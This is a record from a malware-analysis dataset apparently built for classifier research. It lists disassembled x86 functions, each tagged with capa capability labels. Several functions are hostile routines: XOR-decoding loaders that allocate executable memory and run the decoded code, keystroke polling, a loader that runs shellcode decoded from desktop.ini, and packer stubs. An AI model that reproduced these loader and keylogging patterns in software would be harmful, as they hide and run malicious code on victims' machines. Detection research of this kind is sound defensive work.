joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d56113f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x6d56114e
pop dword [ebp - 0x3c]
mov eax, 0x6d56114e
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x364128e
sub dword [ebp - 0x4c], 0xb511cd43
mov dword [ebp - 0x48], 0x78bdff10
sub dword [ebp - 0x48], 0x468ab2cb
mov dword [ebp - 0x44], 0x75716a42
sub dword [ebp - 0x44], 0x29252614
mov dword [ebp - 0x40], 0x9a42c54f
sub dword [ebp - 0x40], 0x9a42c54f
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xff185ae5
sub eax, 0x91c22a9d
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xe9806e04
sub dword [ebp - 0x4c], 0x750e04ae
mov dword [ebp - 0x48], 0xa4525a90
sub dword [ebp - 0x48], 0x62e5f91b
mov dword [ebp - 0x44], 0x15205a47
sub dword [ebp - 0x44], 0xb1b0eddb
mov dword [ebp - 0x40], 0xc7775e61
add dword [ebp - 0x40], 0x3888a19f
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x37dd7173
add eax, 0x3578be8d
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x33432
push 0
call eax
mov ecx, 0x3b0a
xor edx, edx
add edx, eax
mov ebx, 0x159f1738
sub ebx, 0xa848b538
add ebx, dword [ebp - 0x3c]
mov edi, 0xaa99f164
sub edi, 0x63efcc6f
xor dword [ebp - 4], 0x53e0b75
mov esi, dword [ebx]
mov dword [ebp - 0x18], 0xd52fc219
sub esi, edi
add dword [ebp - 0x2c], 0xf9b4972
mov dword [edx], esi
sub dword [ebp - 4], esi
add edx, 0x28d475b3
sub edx, 0x28d475af
add ebx, 4
loop 0x6d561267
add eax, 0x81f0a4db
add eax, 0x7e103a20
mov ebx, eax
add eax, 0xa6e0adec
add eax, 0x591f5219
mov ecx, 0x6d560000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x6d5617f1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d5617fb
repz ret
jmp fcn.6d561b91
Function at 0x401906
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401915
pop dword [ebp - 0x40]
mov eax, 0x401915
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3837e
push 0
mov eax, 0xf3146d38
sub eax, 0xf2d38c18
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4381
xor esi, esi
add esi, eax
mov edi, 0xe62778fb
sub edi, 0xe5e600fb
add edi, dword [ebp - 0x40]
mov edx, 0xfda70f23
add dword [ebp - 4], 0x67f73dd
mov ebx, dword [edi]
sub ebx, edx
xor dword [ebp - 0x24], ecx
mov dword [esi], ebx
add dword [ebp - 4], 0x8e8d103
add esi, 4
add edi, 0x6c2bffea
sub edi, 0x6c2bffe6
loop 0x401965
add eax, 0xe6446e23
sub eax, 0xe6436d4c
mov ebx, eax
add eax, 5
mov ecx, 0xc3884d3d
add ecx, 0x3cb7b2c3
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401d25
Capabilities:
Get file version info

Disassembly:
push ebp
lea ebp, [esp - 0x1a4]
sub esp, 0x224
mov eax, dword [0x412320]
xor eax, ebp
mov dword [ebp + 0x1a0], eax
mov eax, dword [ebp + 0x1ac]
push ebx
push esi
mov esi, dword [ebp + 0x1b0]
push 0x104
lea ecx, [ebp - 0x68]
push ecx
push 0xffffffffffffffff
push eax
xor ebx, ebx
push ebx
push 0xfde9
mov dword [ebp - 0x6c], 0xfffffffd
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x401e01
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x78], eax
cmp eax, ebx
je 0x401e01
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [ebp - 0x70], eax
cmp eax, ebx
je 0x401e00
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x68]
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x401df3
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0x40e484
push dword [ebp - 0x70]
mov dword [ebp - 0x74], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x401df3
mov eax, dword [ebp - 0x7c]
movzx ecx, word [eax + 0xa]
mov dword [esi], ecx
movzx ecx, word [eax + 8]
mov dword [esi + 4], ecx
movzx ecx, word [eax + 0xe]
mov dword [esi + 8], ecx
movzx eax, word [eax + 0xc]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x70]
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
mov ecx, dword [ebp + 0x1a0]
mov eax, dword [ebp - 0x6c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004024bc
add ebp, 0x1a4
leave
ret

Function at 0x4024bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412320]
jne 0x4024c6
repz ret
jmp fcn.00403ae7
Function at 0x401d4a
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [0x418714], 0
mov eax, dword [0x418714]
mov ebx, 0xffffffff
push ebx
call dword [sym.imp.USER32.DLL_GetAsyncKeyState]
mov dword [0x418ebf], eax
mov dword [0x418174], 0
mov eax, dword [0x418174]
lea edx, [edx + 0x418977]
add dword [0x4195a1], edx
sub edx, eax
shr edx, 1
add edx, eax
mov ecx, edx
add ecx, 0x94e
add dword [0x418b51], ecx
ror ecx, 2
shr ecx, 1
sub ecx, eax
add dword [0x418e06], ecx
call fcn.00402f28
mov dword [0x41818c], eax
push 0x2547545c
pop edi
push edi
mov esi, 0x1eeae871
mov eax, esi
push eax
mov eax, 0x535b7a47
mov esi, eax
push esi
mov edi, 0x174cf46c
mov ebp, edi
push ebp
push 0x418ab134
pop ebx
push ebx
push 0x21ff1beb
pop eax
push eax
push 0x67cf697b
pop edx
push edx
mov edx, 0x47777e77
push edx
mov esi, 0
mov edi, esi
push edi
push 0x30a185
pop ebx
add ebx, 0x103f1b
push dword [ebx]
pop dword [0x41855f]
mov ebx, dword [0x41855f]
call ebx
mov dword [0x418f49], eax
or eax, eax
je 0x401e19
sub ebp, edi
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402ee4
pop dword [ebp - 0x34]
mov eax, 0xd7fae28f
sub eax, 0xd7bab3ab
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xc8caea1
add dword [ebp - 0x44], 0x41c596aa
mov dword [ebp - 0x40], 0x22c21c18
add dword [ebp - 0x40], 0xf71302d
mov dword [ebp - 0x3c], 0x4f6f0334
sub dword [ebp - 0x3c], 0x322bf06
mov dword [ebp - 0x38], 0x78128d8b
add dword [ebp - 0x38], 0x87ed7275
lea eax, [ebp - 0x44]
push eax
mov eax, 0x705bd4ca
add eax, 0x8fe4ac3a
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x3d7ccf93
add dword [ebp - 0x44], 0x36f599c3
mov dword [ebp - 0x40], 0x98fe105a
sub dword [ebp - 0x40], 0x5791aee5
mov dword [ebp - 0x3c], 0xc9e78c08
add dword [ebp - 0x3c], 0x9987e064
mov dword [ebp - 0x38], 0x232915b4
add dword [ebp - 0x38], 0xdcd6ea4c
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x399ab
push 0
call eax
mov ecx, 0x2a3b2e6f
sub ecx, 0x2a3adc29
xor ebx, ebx
add ebx, eax
mov esi, 0x25cb8841
add esi, 0xda7b5bbf
add esi, dword [ebp - 0x34]
mov edi, 0xdbc214a6
add dword [ebp - 0x30], 0xc4b13063
mov edx, dword [esi]
sub dword [ebp - 4], edx
xor edx, edi
sub dword [ebp - 0x20], 0xbcf6220
mov dword [ebx], edx
add dword [ebp - 0x28], ecx
add ebx, 0xbf690dae
add ebx, 0x4096f256
add esi, 0x1244d80d
add esi, 0xedbb27f7
loop 0x402ffd
add eax, 0x13beb
xor ebx, ebx
add ebx, eax
add eax, 0x26f60802
add eax, 0xd909f803
mov ecx, 0x2221d7b5
add ecx, 0xde1e284b
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4012f6
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x405278
call fcn.00401450
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x4063cc
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4010b7
cmp eax, esi
jne 0x4010aa
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4010ba
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401091
xor esi, esi
inc esi
mov eax, dword [0x4063c8]
cmp eax, esi
jne 0x4010cd
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4010fc
mov eax, dword [0x4063c8]
test eax, eax
jne 0x4010f6
mov dword [0x4063c8], esi
push 0x404180
push 0x404174
call section..text
pop ecx
pop ecx
test eax, eax
je 0x4010fc
jmp 0x401224
mov dword [0x40605c], esi
mov eax, dword [0x4063c8]
cmp eax, esi
jne 0x401120
push 0x404170
push 0x404168
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4063c8], 2
test ebx, ebx
jne 0x40112c
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x4063d0], 0
je 0x401150
push 0x4063d0
call fcn.004013e4
pop ecx
test eax, eax
je 0x401150
push 0
push 2
push 0
call dword [0x4063d0]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4011ac
test al, al
je 0x40116a
cmp dword [ebp - 0x1c], 0
jne 0x4011ac
mov al, byte [esi]
test al, al
je 0x40117a
cmp al, 0x20
ja 0x40117a
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40116a
test byte [ebp - 0x3c], 1
je 0x401186
movzx eax, word [ebp - 0x38]
jmp 0x401189
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x406058], eax
cmp dword [0x40604c], 0
jne 0x401200
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x4011bb
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4011ce
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x401157
cmp dword [0x40605c], 0
jne 0x40120f
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x406058]
jmp 0x401230
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00401495
ret
call fcn.0040157f
jmp 0x401057
Function at 0x401702
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov ebp, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push ebp
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edx, dword [ebp]
mov esi, eax
lea edx, [edx*4 + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov ebx, eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], ecx
cmp dword [ebp], ecx
jle 0x4017d3
sub esi, ebx
mov dword [esp + 0xc], esi
push edi
mov eax, dword [esi + ebx]
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
push eax
push ecx
push ecx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jg 0x401770
xor ecx, ecx
mov edi, ecx
jmp 0x4017bb
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor eax, eax
push eax
push eax
push esi
push edi
push 0xffffffffffffffff
push dword [esp + 0x2c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x4017b2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
mov edi, ecx
jmp 0x4017b7
xor ecx, ecx
mov byte [edi + eax], cl
mov esi, dword [esp + 0x10]
mov dword [ebx], edi
add ebx, 4
mov edi, dword [esp + 0x14]
inc edi
mov dword [esp + 0x14], edi
cmp edi, dword [ebp]
jl 0x401750
mov ebx, dword [esp + 0x1c]
pop edi
mov eax, dword [ebp]
pop esi
pop ebp
mov dword [ebx + eax*4], ecx
mov eax, ebx
pop ebx
add esp, 0x10
ret
Function at 0x40358f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, edx
push edi
push ebx
push eax
call esi
cmp dword [esp + 0x21c], 0
lea eax, [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40364e
push str._bin_server
push eax
call edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x118]
push eax
call esi
mov ebp, str.jvm.dll
lea eax, [esp + 0x114]
push ebp
push eax
call edi
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4036d6
push ebx
lea eax, [esp + 0x14]
push eax
call esi
push str._binclient
lea eax, [esp + 0x14]
push eax
call edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x118]
push eax
call esi
push ebp
lea eax, [esp + 0x118]
push eax
call edi
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4036d6
xor cl, cl
mov byte [esp + 0x10], cl
jmp 0x4036da
push str._binclient
push eax
call edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x118]
push eax
call esi
mov ebp, str.jvm.dll
lea eax, [esp + 0x114]
push ebp
push eax
call edi
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4036d6
push ebx
lea eax, [esp + 0x14]
push eax
call esi
push str._bin_server
lea eax, [esp + 0x14]
push eax
call edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x118]
push eax
call esi
push ebp
lea eax, [esp + 0x118]
push eax
call edi
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
movzx ecx, byte [esp + 0x10]
xor edx, edx
cmp eax, 0xffffffff
cmove ecx, edx
jmp 0x403645
mov cl, byte [esp + 0x10]
test cl, cl
je 0x4036ef
lea eax, [esp + 0x10]
push eax
push 0x408220
call esi
xor eax, eax
inc eax
jmp 0x403702
push ebx
mov ebx, 0x408220
push ebx
call esi
push str._binclient
push ebx
call edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x40370d
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
and dword [esp], 0
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x104
push 0
mov dword [esp + 0x20], edx
mov edi, ecx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
push 0
call ebp
push eax
call esi
mov edi, eax
xor esi, esi
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push ebx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40380e
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push eax
push edi
push esi
push esi
push str.CurrentVersion
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40380e
push dword [esp + 0x10]
call ebp
push 0x405094
mov dword [esp + 0x14], esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
call esi
push edi
push ebx
call esi
lea eax, [esp + 0x10]
xor esi, esi
push eax
push 0x20019
push esi
push ebx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40380e
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push eax
push edi
push esi
push esi
push str.JavaHome
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40380e
push dword [esp + 0x10]
call ebp
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x18]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, esi
jmp 0x403838
cmp dword [esp + 0x10], 0
je 0x40381b
push dword [esp + 0x10]
call ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push ebx
push 0
call edi
push eax
call esi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4038e9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403908
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
je 0x403908
xor eax, eax
inc eax
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x95a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0095a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x95a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a06a
add dl, dl
jne 0x95a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a0dc
xor eax, eax
add dl, dl
jne 0x95a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a17d
add dl, dl
jne 0x95a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x95a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x95a075
mov eax, 1
add dl, dl
jne 0x95a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a0e1
sub eax, ebx
mov ebx, 1
jne 0x95a128
mov ecx, 1
add dl, dl
jne 0x95a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x95a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x95a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x95a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a136
cmp eax, 0x7d00
jae 0x95a16d
cmp eax, 0x500
jb 0x95a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
cmp eax, 0x7f
ja 0x95a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x95a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x95a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1d0c2423
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3da86ba0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x402756
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x5c9f243
jg 0x402785
inc edi
cmp edi, 0x1e70dee2
jl 0x402765
cmp dword [0x4340fc], 0x400
jne 0x4027d7
push 0x429cb4
push str.secezu
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call fcn.00402a29
push esi
push esi
call fcn.00402a63
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402900
fstp st(0)
push esi
call fcn.00402bf3
add esp, 0xc
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x58bc6e
jg 0x4027f6
inc edi
cmp edi, 0xe52f
jl 0x4027d9
mov eax, dword [0x42c0c4]
mov dword [0x4340fc], eax
call fcn.004024b3
mov edi, 0x3078f
cmp dword [0x4340fc], 0x51f
jne 0x402824
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x40280a
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x406601
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b340]
jne 0x40660b
repz ret
jmp fcn.0040884c
Function at 0x4070f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403fe3
and dword [ebp - 0x14], 0
cmp dword [0x42dd0c], 0
mov dword [ebp - 0x18], eax
jne 0x4071a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40724e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40724e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42dd0c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42dd10], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42dd14], eax
call edi
push eax
call esi
mov dword [0x42dd1c], eax
test eax, eax
je 0x4071a6
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42dd18], eax
mov eax, dword [0x42dd18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4071ff
cmp dword [0x42dd1c], ecx
je 0x4071ff
push eax
call esi
push dword [0x42dd1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4071ff
test ebx, ebx
je 0x4071ff
call edi
test eax, eax
je 0x4071f6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4071f6
test byte [ebp - 8], 1
jne 0x4071ff
or dword [ebp + 0x10], 0x200000
jmp 0x407232
mov eax, dword [0x42dd10]
cmp eax, dword [ebp - 0x18]
je 0x407232
push eax
call esi
test eax, eax
je 0x407232
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407232
mov eax, dword [0x42dd14]
cmp eax, dword [ebp - 0x18]
je 0x407232
push eax
call esi
test eax, eax
je 0x407232
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42dd0c]
call esi
test eax, eax
je 0x40724e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407250
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406601
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219